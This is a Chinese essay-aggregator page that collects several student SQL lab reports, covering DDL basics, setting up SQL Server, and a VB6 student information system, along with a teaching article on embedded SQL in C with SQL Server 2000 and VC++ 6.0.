(6)2010年7月28、29、30三天,进修学校503、504教室第六次分组研讨会。其中第一天请首都师大王希永教授、陈红主编指导教材修订,后两天分组研讨。

sql语言的ddl实验报告 篇4

SQL(Structured Query Language)语言是关系数据库的标准语言。是一种介于关系代数与关系演算之间的结构化查询语言,其功能并不仅仅是查询,SQL语言是一个通用的、功能极强的关系数据库语言。

从本次实验开始,我们将详细的学习SQL的DDL(数据定义语言))。

本次实验了解DDL语言的CREATE、DROP、ALTER对表的操作,学会SQL Server 2000的查询分析器中用DDL语言进行对表的创建、删除和改动。

二、实验内容

1. 启动数据库服务软件SQL Server 2000的查询分析器,用如下语句对表进行操作,详细的语法格式参看课本相应章节:

Create Table 建表

Drop Table 删除表

Alter Table 更改表

三、实验任务

1.验证性实验:在学生-课程数据库中创建student等三张表。

sql实验报告总结 篇5

学号:20111221408姓名:赵瑞梦班级:计1113

实验名称:SQL server 实验一

实验目的:初步了解SQL server

实验内容:

熟悉并了解SQL server的界面显示和运行环境,掌握各个 工具栏的操作方法。学会建立数据库,在数据库下建表等操作。实验过程:

一、下载SQL server 2005。

二、安装SQL server 2005。

三、运行SQL server。首先新建一个名为first的数据库,然后在first数据库下新建一个text表。列名no、name。然后输入两位学生的学号和姓名。保存一下。然后鼠标左键单击新建查询,输入Select * from text;

然后消息框里便显示出了text表里的学生信息。

实验总结:

SQL实训报告 篇6

1.熟练掌握SQL Server数据库的设计及其对象的基本操作。

2.熟练掌握数据查询、视图、存储过程和触发器的使用方法。

3.熟练掌握vb应用程序中界面设计的方法。

4.通过实训,使学生了解数据库系统在实际应用中的开发方法及设计过程,为今后从事管理信息系统的研究、开发、应用提供必要的知识,更好地完成各种计算机应用和开发任务。

二、课程设计报告内容

1.实训内容

学生信息管理工作是学校管理工作的重要组成部分,现在相当一部分学校的学生管理工作仍沿用手工方式。随着学校规模的扩大、学生人数的增加,效率低下、容易出错的手工方式越来越不适应实际管理工作的需要,按照软件工程原理和数据库技术开发学生信息管理系统已经成为学生管理部门的迫切需要。程设计的题目是高校学生信息管理系统,本项目实现的功能主要包括以下内容:

(1)完成数据的录入和修改,并提交数据库保存。其中的数据包括:专业信息、班级信息、学生信息、选修课程信息和成绩信息等,系统能够自动避免重复信息。

(2)实现信息查询,主要包括学生信息查询、选修课程信息查询和成绩信息查询等。

(3)实现数据的删除功能:对数据进行删除操作。系统能够通过用户给出的条件查询所要删除的数据,并提示用户确认是否删除。若确定,则把相关信息从数据库中删除。

(4)报表功能。包括指定学生的选课情况和指定课程的选修情况。 高校学生信息管理系统采用C/S体系结构,按照客户端设计和数据库设计两部分进行。客户端负责提供表达逻辑、显示用户界面信息、访问数据库服务器等,采用Visual Basic 6.0作为开发工具;服务器端则采用SQL Server 2000作为数据库管理系统,负责后台的数据处理。

2.系统功能模块设计

学生信息管理客户端主要对学生信息、课程信息、学生成绩信息进行管理,该系统分4个模功能块,如图所示。

3.实训设备或软、硬件

硬件:PⅣ及以上性能的PC机

软件: Windows XP操作系统;VB6.0;SQL Server 2000数据库系统

三、结论

1.数据库设计

数据库的设计主要是在服务器端建立数据库和数据表,并实现数据处理功能。根据系统需求分析和功能设计,可以将数据规划为学生实体、课程实体、选课实体三个实体。在了解了数据库结构设计概念以后,开始创建数据库和数据表。首先,用查询分析器创建student数据库,创建过程中需要注意修改操作系统文件名到新创建的文件夹。然后创建专业信息表spe_Info、班级信息表class_Info、课程信息表course_Info、学生信息表stu_Info、成绩信息表score五个表。在数据库及数据表创建完成后,对SQL Sever服务器端数据进行处理。首先创建stucourse_View视图。在数据表的创建过程中应注意,因为学号、专业编号、班级编号等是一一对应的,所以学号在数据表中应设置为主键,设置主键的语句为:stu_No char(6) NOT NULL PRIMARY KEY 。由于系统对专业信息表等五个表的操作主要有:添加、修改、删除,所以,针对stu_Info、course_Info和score_Info三个表定义相应的储存过程,以便在Visual Basic中根据需要调用对应的储存过程。由于系统对student数据库中数据进行添加、修改、删除操作时,应保证数据的完整性,所以需对触发器进行定义以保证数据库数据的完整性。对stu_Info表定义的UPDATE触发器trg_stu_update的设计功能是:当修改stu_Info表中某个学生的学号的同时修改score_Info表中该学号对应记录相应的值。在完成了数据库及数据表的创建后,为保证系统功能的实现,需对数据库用户权限进行设置,在用户栏中设置用户及登录密码,维护数据库的安全是确保数据库正常运行的重要工作。最后完成数据库的设计后,要对数据库进行备份。数据库的备份时对SQL Sever数据事务日志进行拷贝。做数据备份就是为了方便的数据库恢复用。建数据库是为了与所设计的程序相连接,连接数据库需用到ADO访问数据库。如要连接SQL Sever服务器中的student数据库,用如下代码对

Connection的DefaultDatabase

属性值进行设置:Cnn.

DefaultDatabase=”student”。

2.系统功能实现

“学生信息管理系统”系统功能的实现,主要是在VB中对系统模块进行设计,并连接数据库以达到系统功能的实现。由于程序是利用ADO完成对数据库的访问和操作的,所以在对模块的设计前需要添加ADO库。本系统还需要用到ToolBar控件和MSFlexGrid控件,前者用于连接数据库,后者用于以表格形式显示数据库表的内容。本系统主要用于学生信息管理,主要任务是用计算机对学生各种信息进行日常管理,如:查询、修改、增加、删除。首先是公共模块中定义全局变量及子程序。在模块中Public MyConnection As New ADODB.Connection 语句用于建立与数据库的连接。而Public SQLUsername As String 用于存放SQL的登录账号。对ChangeFormPos(frmMain As MDIForm, frm As Form)子程序定义用于确定调用窗体在主窗体中的显示位置。对登录窗口的设计要用到了ComboBox控件,使在登录时用户可以直接从列表中选择。在设计登录窗体时,需要确保数据库是否连接。在对主窗体MDIformMain的设计中需要添加MDI窗体,在设计过程中对控件的名称及属性的设置要细心,我开始就是由于将登录控件的属性值打成了cmbOK而使系统无法运行。在设计专业管理窗口时,第一次用到了MSFlexGrid控件,该控件的作用是以表格形式显示二维字符数组中每个单元的数据。常

用于处理复杂的二维数据表的问题。如校历表、学生宿舍表、学生班级成绩表等。这是实训过程中所学到的新的知识。通过txtSpeNo.Text = frmSpe.MSFlexGrid1.TextMatrix(frmSpe.MSFlexGrid1.Row, 1) txtSpeName.Text = frmSpe.MSFlexGrid1.TextMatrix(frmSpe. MSFlexGrid1.Row, 2) txtSpeNo.Enabled = False语句达到单击MSFlexGrid控件中某记录行时,将该记录的字段值显示在对应的控件中。学生信息管理模块主要是实现学生信息的增加、修改、删除、查询和生成报表等功能,它的子窗体包括添加、修改学生信息窗体、学生信息查询窗体、学生选课报表。在设计学生选课报表时,用到了DataReport报表,这也是以前没有用到的知识。使用DataReport报表可以使显示的信息更加明了并可以方便打印。在报表设计完成后,将以下程序添加到frmStu窗口的工具栏“报表”按钮程序段中,DataEnvironment1.Commands(1).Parameters(1).Value = _

MSFlexGrid1.TextMatrix(MSFlexGrid1.Row, 1) StuDataReport.Show,当按下“报表”按钮时,则显示当前MSFlexGrid.TextMatrix(MSFlexGrid1.Row,1)的值所指定学号的学生的所有选课信息。

四、结束语

两周的实训终于结束了,这次实训的内容是应用SQL Server数据库设计VB程序设计来设计“学生信息管理系统”。虽然时间只有短短的两周,但使我获益匪浅,感慨良多。使我感受最深的有如下几点:第一,实训是个人所学知识的应用,是综合能力的检验。要想学好数据库,除了平时的理论功底外,还需要一定的时间动手能力,操作能力,要学会灵活应用所学的知识。第二,通过这次实训,我深深地体会到积累知识的重要性,平时学习的不努力,在实训时必定会遇到很多的麻烦。

此次实训让我有了扩宽知识面及提升技术能力的机会,我真正领会到实践与理论相结合的重要性。本次实训的目的是让我们掌握数据库系统的原理、及将理论与实践相结合熟练熟练掌握SQL Server数据库的设计及其对象的基本操作。

sql实验报告总结 篇7

关键词 嵌入式SQL 预编译程序 动态连接库

中图分类号:TP312 文献标识码:A

0 引言

在通常的运用中,SQL语言是作为独立语言在终端交互方式下使用的,是非过程性的,其大多数语句都是独立执行,与上下文无关,称作自含式语言;而许多事务处理应用都是过程性的,需要根据不同的条件来执行不同的任务,如果把SQL语言嵌入到诸如C语言这样的过程化的编程语言中,程序开发人员就能设计出更加灵活的应用系统,具有SQL语言和高级编程语言的良好特征,它将比单独使用SQL或C语言具有更强的功能和灵活性,这种方式下使用的SQL语言称为嵌入式SQL语言。

在计算机专业课程《数据库系统概论》中有关于嵌入式SQL语言的内容,其教学手段一般都是理论讲述,教学效果不是十分理想。下面介绍一种在现有条件下都能办到的嵌入式SQL语言实现方法。

1 在VC中使用嵌入式SQL语言访问Microsoft SQL Server 2000

1.1 使用嵌入式SQL语言所采用的系统配置

①操作系统:Windows 2000 Professional

②Microsoft Visual C++ 6.0

③Microsoft SQL Server 2000

在安装Microsoft SQL Server 2000 时要注意选择安装Development Tools,为使用嵌入式SQL语言准备必要的头文件和库文件。

1.2 编辑嵌入式SQL程序

使用文本编辑器如记事本编辑嵌入式SQL程序,其存盘文件的扩展名为"sqc"。在嵌入式SQL程序中嵌入的SQL语句以EXEC SQL作为起始标识,语句的结束以";"作为标识。在嵌入的SQL语句中可以使用C语言的程序变量(即主变量),这时主变量名前加冒号(:)作为标志,以区别于字段名。主变量的声明必须包含在"EXEC SQL BEGIN DECLARE SECTION; "和"EXEC SQL END DECLARE SECTION; "之间。以下是一个嵌入式SQL程序demo.sqc:

#include

void main()

{

EXEC SQL BEGIN DECLARE SECTION;

char first_name[50];

char last_name[] = "White";

EXEC SQL END DECLARE SECTION;

EXEC SQL CONNECT TO my_server.pubs

USER my_login.my_password;

EXEC SQL SELECT au_fname INTO :first_name

FROM authors WHERE au_lname = :last_name;

EXEC SQL DISCONNECT ALL;

printf("first_name: %s\n", first_name);

}

此C语言程序中嵌入了SQL语句,用来访问数据库服务器my_server中的数据库pubs,登录名my_login,口令my_password,在表authors中检索姓"White"的作者的名,并存入主变量first_name,然后通过printf函数输出结果。

1.3 预编译嵌入式SQL程序

Microsoft SQL Server 2000提供的预编译程序nsqlprep.exe,用于对嵌入式SQL程序进行预编译处理,生成C语言源程序。实际上就是将嵌入式SQL程序中的嵌入式SQL语句替换为对运行时库文件Sqlakw32.dll的函数调用,接着运行时库文件调用动态连接库Ntwdblib.dll通过网络来存取Microsoft SQL Server 2000数据库服务器。

预编译程序nsqlprep的常用语法为:

nsqlprep ESQL_File /SQLACCESS /DB server_name.database_name /PASS login.password

其中ESQL_File是要预编译的嵌入式SQL程序;/SQLACCESS通知nsqlprep 自动地为嵌入式SQL程序中的静态SQL语句创建相应的存储过程;/DB server_name.database_name指明要连接的服务器以及数据库名称;/PASS login.password给出登录名及相应的口令。对于demo.sqc的预编译命令为:

nsqlprep demo /SQLACCESS /DB my_server.pubs /PASS my_login.my_password

经预编译处理后即可产生C语言源程序demo.c

1.4 配置VC++ 6.0 中的Project Settings

为了编译、连接nsqlprep生成的C语言源程序,需要增加必要的访问路径到VC++ 6.0 的环境设置中:

①选择菜单Tools中的菜单项Options

②选择Directories标签页

③在"Show directories for"下拉框中选择"Include files",增加Microsoft SQL Server 2000 开发所需头文件的路径:C:\Program Files\Microsoft SQL Server\80\Tools\DevTools\Include

④在"Show directories for"下拉框中选择"Library files",增加Microsoft SQL Server 2000 开发所需库文件的路径:C:\Program Files\Microsoft SQL Server\80\Tools\DevTools\LIB

1.5 生成访问Microsoft SQL Server 2000数据库的可执行程序

在VC++ 6.0 中创建一个"WIN32 Console Application"类型的Project,选择菜单Project中菜单项Add to Project的子项Files,将第三步中生成的C语言源程序demo.c添加到此Project中,然后编译、连接即可生成访问Microsoft SQL Server 2000数据库的可执行程序:demo.exe,运行的输出结果为:Johnson;这与使用交互式查询工具Query Analyzer检索的结果是一致的。至此,一个在VC++ 6.0中使用嵌入式SQL语言访问Microsoft SQL Server 2000数据库的应用已经开发完成。

2 结束语

本文探讨了Microsoft SQL Server 2000中的ESQL/C编程,并介绍了在常用编程软件VC++ 6.0 中嵌入式SQL程序设计的实现方法。在嵌入式SQL语言的课堂教学中,使用该方法,获得了良好的教学效果。

上一篇:王勃传课外文言文阅读理解及答案下一篇:电力企业价值评估分析